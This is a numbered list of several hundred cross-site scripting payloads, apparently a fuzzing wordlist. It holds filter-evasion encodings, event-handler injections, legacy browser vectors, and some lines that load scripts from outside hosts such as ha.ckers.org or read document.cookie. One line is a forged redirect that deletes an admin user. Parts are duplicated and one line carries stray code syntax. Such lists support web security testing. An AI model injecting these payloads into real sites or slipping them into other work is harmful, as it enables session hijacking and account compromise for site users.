  398. <xml id="xss" src="%(htc)s"></xml> <label dataformatas="html" datasrc="#xss" datafld="payload"></label>
  399. <event-source src="%(event)s" onload="javascript:alert(1)">
  400. <a href="javascript:javascript:alert(1)"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A">
  401. <div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeName="innerHTML" targetElement="x" to="&lt;img&#11;src=x:x&#11;onerror&#11;=javascript:alert(1)&gt;">
  402. <script>%(payload)s</script>
  403. <script src=%(jscript)s></script>
  404. <script language='javascript' src='%(jscript)s'></script>
  405. <script>javascript:alert(1)</script>
  406. <IMG SRC="javascript:javascript:alert(1);">
  407. <IMG SRC=javascript:javascript:alert(1)>
  408. <IMG SRC=`javascript:javascript:alert(1)`>
  409. <SCRIPT SRC=%(jscript)s?<B>
  410. <FRAMESET><FRAME SRC="javascript:javascript:alert(1);"></FRAMESET>
  411. <BODY ONLOAD=javascript:alert(1)>
  412. <BODY ONLOAD=javascript:javascript:alert(1)>
  413. <IMG SRC="jav    ascript:javascript:alert(1);">
  414. <BODY onload!#$%%&()*~+-_.,:;?@[/|\]^`=javascript:alert(1)>
  415. <SCRIPT/SRC="%(jscript)s"></SCRIPT>
  416. <<SCRIPT>%(payload)s//<</SCRIPT>
  417. <IMG SRC="javascript:javascript:alert(1)"
  418. <iframe src=%(scriptlet)s <
  419. <INPUT TYPE="IMAGE" SRC="javascript:javascript:alert(1);">
  420. <IMG DYNSRC="javascript:javascript:alert(1)">
  421. <IMG LOWSRC="javascript:javascript:alert(1)">
  422. <BGSOUND SRC="javascript:javascript:alert(1);">
  423. <BR SIZE="&{javascript:alert(1)}">
  424. <LAYER SRC="%(scriptlet)s"></LAYER>
  425. <LINK REL="stylesheet" HREF="javascript:javascript:alert(1);">
  426. <STYLE>@import'%(css)s';</STYLE>
  427. <META HTTP-EQUIV="Link" Content="<%(css)s>; REL=stylesheet">
  428. <XSS STYLE="behavior: url(%(htc)s);">
  429. <STYLE>li {list-style-image: url("javascript:javascript:alert(1)");}</STYLE><UL><LI>XSS
  430. <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:javascript:alert(1);">
  431. <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:javascript:alert(1);">
  432. <IFRAME SRC="javascript:javascript:alert(1);"></IFRAME>
  433. <TABLE BACKGROUND="javascript:javascript:alert(1)">
  434. <TABLE><TD BACKGROUND="javascript:javascript:alert(1)">
  435. <DIV STYLE="background-image: url(javascript:javascript:alert(1))">
  436. <DIV STYLE="width:expression(javascript:alert(1));">
  437. <IMG STYLE="xss:expr/*XSS*/ession(javascript:alert(1))">
  438. <XSS STYLE="xss:expression(javascript:alert(1))">
  439. <STYLE TYPE="text/javascript">javascript:alert(1);</STYLE>
  440. <STYLE>.XSS{background-image:url("javascript:javascript:alert(1)");}</STYLE><A CLASS=XSS></A>
  441. <STYLE type="text/css">BODY{background:url("javascript:javascript:alert(1)")}</STYLE>
  442. <!--[if gte IE 4]><SCRIPT>javascript:alert(1);</SCRIPT><![endif]-->
  443. <BASE HREF="javascript:javascript:alert(1);//">
  444. <OBJECT TYPE="text/x-scriptlet" DATA="%(scriptlet)s"></OBJECT>
  445. <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:javascript:alert(1)></OBJECT>
  446. <HTML xmlns:xss><?import namespace="xss" implementation="%(htc)s"><xss:xss>XSS</xss:xss></HTML>""","XML namespace."),("""<XML ID="xss"><I><B>&lt;IMG SRC="javas<!-- -->cript:javascript:alert(1)"&gt;</B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
  447. <HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS&lt;SCRIPT DEFER&gt;javascript:alert(1)&lt;/SCRIPT&gt;"></BODY></HTML>
  448. <SCRIPT SRC="%(jpg)s"></SCRIPT>
  449. <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-%(payload)s;+ADw-/SCRIPT+AD4-
  450. <form id="test" /><button form="test" formaction="javascript:javascript:alert(1)">X
  451. <body onscroll=javascript:alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
  452. <P STYLE="behavior:url('#default#time2')" end="0" onEnd="javascript:alert(1)">
  453. <STYLE>@import'%(css)s';</STYLE>
  454. <STYLE>a{background:url('s1' 's2)}@import javascript:javascript:alert(1);');}</STYLE>
  455. <meta charset= "x-imap4-modified-utf7"&&>&&<script&&>javascript:alert(1)&&;&&<&&/script&&>
  456. <SCRIPT onreadystatechange=javascript:javascript:alert(1);></SCRIPT>
  457. <style onreadystatechange=javascript:javascript:alert(1);></style>
  458. <?xml version="1.0"?><html:html xmlns:html='http://www.w3.org/1999/xhtml'><html:script>javascript:alert(1);</html:script></html:html>
  459. <embed code=%(scriptlet)s></embed>
  460. <embed code=javascript:javascript:alert(1);></embed>
  461. <embed src=%(jscript)s></embed>
  462. <frameset onload=javascript:javascript:alert(1)></frameset>
  463. <object onerror=javascript:javascript:alert(1)>
  464. <embed type="image" src=%(scriptlet)s></embed>
  465. <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]<![CDATA[cript:javascript:alert(1);">]]</C><X></xml>
  466. <IMG SRC=&{javascript:alert(1);};>
  467. <a href="jav&#65ascript:javascript:alert(1)">test1</a>
  468. <a href="jav&#97ascript:javascript:alert(1)">test1</a>
  469. <embed width=500 height=500 code="data:text/html,<script>%(payload)s</script>"></embed>
  470. <iframe srcdoc="&LT;iframe&sol;srcdoc=&amp;lt;img&sol;src=&amp;apos;&amp;apos;onerror=javascript:alert(1)&amp;gt;>">
  471. ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
  472. alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
  473. ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
  474. '';!--"<XSS>=&{()}
  475. <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
  476. <IMG SRC="javascript:alert('XSS');">
  477. <IMG SRC=javascript:alert('XSS')>
  478. <IMG SRC=JaVaScRiPt:alert('XSS')>
  479. <IMG SRC=javascript:alert("XSS")>
  480. <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
  481. <a onmouseover="alert(document.cookie)">xxs link</a>
  482. <a onmouseover=alert(document.cookie)>xxs link</a>
  483. <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
  484. <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
  485. <IMG SRC=# onmouseover="alert('xxs')">
  486. <IMG SRC= onmouseover="alert('xxs')">
  487. <IMG onmouseover="alert('xxs')">
  488. <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
  489. <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
  490. <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
  491. <IMG SRC="jav   ascript:alert('XSS');">
  492. <IMG SRC="jav&#x09;ascript:alert('XSS');">
  493. <IMG SRC="jav&#x0A;ascript:alert('XSS');">
  494. <IMG SRC="jav&#x0D;ascript:alert('XSS');">
  495. perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
  496. <IMG SRC=" &#14;  javascript:alert('XSS');">
  497. <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  498. <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
  499. <SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  500. <<SCRIPT>alert("XSS");//<</SCRIPT>
  501. <SCRIPT SRC=http://ha.ckers.org/xss.js?< B >
  502. <SCRIPT SRC=//ha.ckers.org/.j>
  503. <IMG SRC="javascript:alert('XSS')"
  504. <iframe src=http://ha.ckers.org/scriptlet.html <
  505. \";alert('XSS');//
  506. </TITLE><SCRIPT>alert("XSS");</SCRIPT>
  507. <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
  508. <BODY BACKGROUND="javascript:alert('XSS')">
  509. <IMG DYNSRC="javascript:alert('XSS')">
  510. <IMG LOWSRC="javascript:alert('XSS')">
  511. <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
  512. <IMG SRC='vbscript:msgbox("XSS")'>
  513. <IMG SRC="livescript:[code]">
  514. <BODY ONLOAD=alert('XSS')>
  515. <BGSOUND SRC="javascript:alert('XSS');">
  516. <BR SIZE="&{alert('XSS')}">
  517. <LINK REL="stylesheet" HREF="javascript:alert('XSS');">
  518. <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
  519. <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
  520. <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
  521. <STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
  522. <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
  523. <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
  524. exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
  525. <STYLE TYPE="text/javascript">alert('XSS');</STYLE>
  526. <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
  527. <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
  528. <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
  529. <XSS STYLE="xss:expression(alert('XSS'))">
  530. <XSS STYLE="behavior: url(xss.htc);">
  531. ¼script¾alert(¢XSS¢)¼/script¾
  532. <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
  533. <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
  534. <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
  535. <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
  536. <IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
  537. <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
  538. <TABLE BACKGROUND="javascript:alert('XSS')">
  539. <TABLE><TD BACKGROUND="javascript:alert('XSS')">
  540. <DIV STYLE="background-image: url(javascript:alert('XSS'))">
  541. <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
  542. <DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">
  543. <DIV STYLE="width: expression(alert('XSS'));">
  544. <BASE HREF="javascript:alert('XSS');//">
  545. <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
  546. <EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
  547. <SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
  548. <!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'"-->
  549. <? echo('<SCR)';echo('IPT>alert("XSS")</SCRIPT>'); ?>
  550. <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
  551. Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
  552. <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
  553.  <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
  554. <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  555. <SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  556. <SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  557. <SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  558. <SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  559. <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  560. <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
  561. <A HREF="http://66.102.7.147/">XSS</A>
  562. <A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
  563. <A HREF="http://1113982867/">XSS</A>
  564. <A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
  565. <A HREF="http://0102.0146.0007.00000223/">XSS</A>
  566. <A HREF="htt    p://6   6.000146.0x7.147/">XSS</A>
  567. <iframe %00 src="&Tab;javascript:prompt(1)&Tab;"%00>
  568. <svg><style>{font-family&colon;'<iframe/onload=confirm(1)>'
  569. <input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"
  570. <sVg><scRipt %00>alert&lpar;1&rpar; {Opera}
  571. <img/src=`%00` onerror=this.onerror=confirm(1)
  572. <form><isindex formaction="javascript&colon;confirm(1)"
  573. <img src=`%00`&NewLine; onerror=alert(1)&NewLine;
  574. <script/&Tab; src='https://dl.dropbox.com/u/13018058/js.js' /&Tab;></script>
  575. <ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?
  576. <iframe/src="data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
  577. <script /*%00*/>/*%00*/alert(1)/*%00*/</script /*%00*/
  578. &#34;&#62;<h1/onmouseover='\u0061lert(1)'>%00
  579. <iframe/src="data:text/html,<svg &#111;&#110;load=alert(1)>">
  580. <meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
  581. <svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script
  582. <svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera}
  583. <meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
  584. <iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>
  585. <form><a href="javascript:\u0061lert&#x28;1&#x29;">X
  586. </script><img/*%00/src="worksinchrome&colon;prompt&#x28;1&#x29;"/%00*/onerror='eval(src)'>
  587. <img/&#09;&#10;&#11; src=`~` onerror=prompt(1)>
  588. <form><iframe &#09;&#10;&#11; src="javascript&#58;alert(1)"&#11;&#10;&#09;;>
  589. <a href="data:application/x-x509-user-cert;&NewLine;base64&NewLine;,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="&#09;&#10;&#11;>X</a
  590. http://www.google<script .com>alert(document.location)</script
  591. <a&#32;href&#61;&#91;&#00;&#93;"&#00; onmouseover=prompt&#40;1&#41;&#47;&#47;">XYZ</a
  592. <img/src=@&#32;&#13; onerror = prompt('&#49;')
  593. <style/onload=prompt&#40;'&#88;&#83;&#83;'&#41;
  594. <script ^__^>alert(String.fromCharCode(49))</script ^__^
  595. </style &#32;><script &#32; :-(>/**/alert(document.location)/**/</script &#32; :-(
  596. &#00;</form><input type&#61;"date" onfocus="alert(1)">
  597. <form><textarea &#13; onkeyup='\u0061\u006C\u0065\u0072\u0074&#x28;1&#x29;'>
  598. <script /***/>/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/</script /***/
  599. <iframe srcdoc='&lt;body onload=prompt&lpar;1&rpar;&gt;'>
  600. <a href="javascript:void(0)" onmouseover=&NewLine;javascript:alert(1)&NewLine;>X</a>
  601. <script ~~~>alert(0%0)</script ~~~>
  602. <style/onload=&lt;!--&#09;&gt;&#10;alert&#10;&lpar;1&rpar;>
  603. <///style///><span %2F onmousemove='alert&lpar;1&rpar;'>SPAN
  604. <img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=&Tab;prompt(1)
  605. &#34;&#62;<svg><style>{-o-link-source&colon;'<body/onload=confirm(1)>'
  606. &#13;<blink/&#13; onmouseover=pr&#x6F;mp&#116;(1)>OnMouseOver {Firefox & Opera}
  607. <marquee onstart='javascript:alert&#x28;1&#x29;'>^__^
  608. <div/style="width:expression(confirm(1))">X</div> {IE7}
  609. <iframe/%00/ src=javaSCRIPT&colon;alert(1)
  610. //<form/action=javascript&#x3A;alert&lpar;document&period;cookie&rpar;><input/type='submit'>//
  611. /*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/>
  612. //|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'> //|\\ </script //|\\
  613. </font>/<svg><style>{src&#x3A;'<style/onload=this.onload=confirm(1)>'</font>/</style>
  614. <a/href="javascript:&#13; javascript:prompt(1)"><input type="X">
  615. </plaintext\></|\><plaintext/onmouseover=prompt(1)
  616. </svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>alert&#x28;1&#x29; {Opera}
  617. <a href="javascript&colon;\u0061&#x6C;&#101%72t&lpar;1&rpar;"><button>
  618. <div onmouseover='alert&lpar;1&rpar;'>DIV</div>
  619. <iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">
  620. <a href="jAvAsCrIpT&colon;alert&lpar;1&rpar;">X</a>
  621. <embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
  622. <object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
  623. <var onmouseover="prompt(1)">On Mouse Over</var>
  624. <a href=javascript&colon;alert&lpar;document&period;cookie&rpar;>Click Here</a>
  625. <img src="/" =_=" title="onerror='prompt(1)'">
  626. <%<!--'%><script>alert(1);</script -->
  627. <script src="data:text/javascript,alert(1)"></script>
  628. <iframe/src \/\/onload = prompt(1)
  629. <iframe/onreadystatechange=alert(1)
  630. <svg/onload=alert(1)
  631. <input value=<><iframe/src=javascript:confirm(1)
  632. <input type="text" value=`` <div/onmouseover='alert(1)'>X</div>
  633. http://www.<script>alert(1)</script .com
  634. <iframe src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe>
  635. <svg><script ?>alert(1)
  636. <iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe>
  637. <img src=`xx:xx`onerror=alert(1)>
  638. <object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object>
  639. <meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>
  640. <math><a xlink:href="//jsfiddle.net/t846h/">click
  641. <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
  642. <svg contentScriptType=text/vbs><script>MsgBox+1
  643. <a href="data:text/html;base64_,<svg/onload=\u0061&#x6C;&#101%72t(1)>">X</a
  644. <iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE>
  645. <script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+
  646. <script/src="data&colon;text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F
  647. <script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script
  648. <object data=javascript&colon;\u0061&#x6C;&#101%72t(1)>
  649. <script>+-+-1-+-+alert(1)</script>
  650. <body/onload=&lt;!--&gt;&#10alert(1)>
  651. <script itworksinallbrowsers>/*<script* */alert(1)</script
  652. <img src ?itworksonchrome?\/onerror = alert(1)
  653. <svg><script>//&NewLine;confirm(1);</script </svg>
  654. <svg><script onlypossibleinopera:-)> alert(1)
  655. <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe
  656. <script x> alert(1) </script 1=2
  657. <div/onmouseover='alert(1)'> style="x:">
  658. <--`<img/src=` onerror=alert(1)> --!>
  659. <script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074;(1)></script>
  660. <div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>
  661. "><img src=x onerror=window.open('https://www.google.com/');>
  662. <form><button formaction=javascript&colon;alert(1)>CLICKME
  663. <math><a xlink:href="//jsfiddle.net/t846h/">click
  664. <object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>
  665. <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
  666. <a href="data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&#47&#115&#116&#101&#114&#110&#101&#102&#97&#109&#105&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111&#46&#106&#115&#34&#62&#60&#47&#115&#99&#114&#105&#112&#116&#62&#8203">Click Me</a>
  667. ‘; alert(1);
  668. ‘)alert(1);//
  669. <ScRiPt>alert(1)</sCriPt>
  670. <IMG SRC=jAVasCrIPt:alert(‘XSS’)>
  671. <IMG SRC=”javascript:alert(‘XSS’);”>
  672. <IMG SRC=javascript:alert(&quot;XSS&quot;)>
  673. <IMG SRC=javascript:alert(‘XSS’)>      
  674. <img src=xss onerror=alert(1)>
  675. <iframe %00 src="&Tab;javascript:prompt(1)&Tab;"%00>
  676. <svg><style>{font-family&colon;'<iframe/onload=confirm(1)>'
  677. <input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"
  678. <sVg><scRipt %00>alert&lpar;1&rpar; {Opera}
  679. <img/src=`%00` onerror=this.onerror=confirm(1)
  680. <form><isindex formaction="javascript&colon;confirm(1)"
  681. <img src=`%00`&NewLine; onerror=alert(1)&NewLine;
  682. <script/&Tab; src='https://dl.dropbox.com/u/13018058/js.js' /&Tab;></script>
  683. <ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?
  684. <iframe/src="data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
  685. <script /*%00*/>/*%00*/alert(1)/*%00*/</script /*%00*/
  686. &#34;&#62;<h1/onmouseover='\u0061lert(1)'>%00
  687. <iframe/src="data:text/html,<svg &#111;&#110;load=alert(1)>">
  688. <meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
  689. <svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script
  690. <svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera}
  691. <meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
  692. <iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>
  693. <form><a href="javascript:\u0061lert&#x28;1&#x29;">X
  694. </script><img/*%00/src="worksinchrome&colon;prompt&#x28;1&#x29;"/%00*/onerror='eval(src)'>
  695. <img/&#09;&#10;&#11; src=`~` onerror=prompt(1)>
  696. <form><iframe &#09;&#10;&#11; src="javascript&#58;alert(1)"&#11;&#10;&#09;;>
  697. <a href="data:application/x-x509-user-cert;&NewLine;base64&NewLine;,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="&#09;&#10;&#11;>X</a
  698. http://www.google<script .com>alert(document.location)</script
  699. <a&#32;href&#61;&#91;&#00;&#93;"&#00; onmouseover=prompt&#40;1&#41;&#47;&#47;">XYZ</a
  700. <img/src=@&#32;&#13; onerror = prompt('&#49;')
  701. <style/onload=prompt&#40;'&#88;&#83;&#83;'&#41;
  702. <script ^__^>alert(String.fromCharCode(49))</script ^__^
  703. </style &#32;><script &#32; :-(>/**/alert(document.location)/**/</script &#32; :-(
  704. &#00;</form><input type&#61;"date" onfocus="alert(1)">
  705. <form><textarea &#13; onkeyup='\u0061\u006C\u0065\u0072\u0074&#x28;1&#x29;'>
  706. <script /***/>/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/</script /***/
  707. <iframe srcdoc='&lt;body onload=prompt&lpar;1&rpar;&gt;'>
  708. <a href="javascript:void(0)" onmouseover=&NewLine;javascript:alert(1)&NewLine;>X</a>
  709. <script ~~~>alert(0%0)</script ~~~>
  710. <style/onload=&lt;!--&#09;&gt;&#10;alert&#10;&lpar;1&rpar;>
  711. <///style///><span %2F onmousemove='alert&lpar;1&rpar;'>SPAN
  712. <img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=&Tab;prompt(1)
  713. &#34;&#62;<svg><style>{-o-link-source&colon;'<body/onload=confirm(1)>'
  714. &#13;<blink/&#13; onmouseover=pr&#x6F;mp&#116;(1)>OnMouseOver {Firefox & Opera}
  715. <marquee onstart='javascript:alert&#x28;1&#x29;'>^__^
  716. <div/style="width:expression(confirm(1))">X</div> {IE7}
  717. <iframe/%00/ src=javaSCRIPT&colon;alert(1)
  718. //<form/action=javascript&#x3A;alert&lpar;document&period;cookie&rpar;><input/type='submit'>//
  719. /*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/>
  720. //|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'> //|\\ </script //|\\
  721. </font>/<svg><style>{src&#x3A;'<style/onload=this.onload=confirm(1)>'</font>/</style>
  722. <a/href="javascript:&#13; javascript:prompt(1)"><input type="X">
  723. </plaintext\></|\><plaintext/onmouseover=prompt(1)
  724. </svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>alert&#x28;1&#x29; {Opera}
  725. <a href="javascript&colon;\u0061&#x6C;&#101%72t&lpar;1&rpar;"><button>
  726. <div onmouseover='alert&lpar;1&rpar;'>DIV</div>
  727. <iframe style="xg-p:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">
  728. <a href="jAvAsCrIpT&colon;alert&lpar;1&rpar;">X</a>
  729. <embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
  730. <object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
  731. <var onmouseover="prompt(1)">On Mouse Over</var>
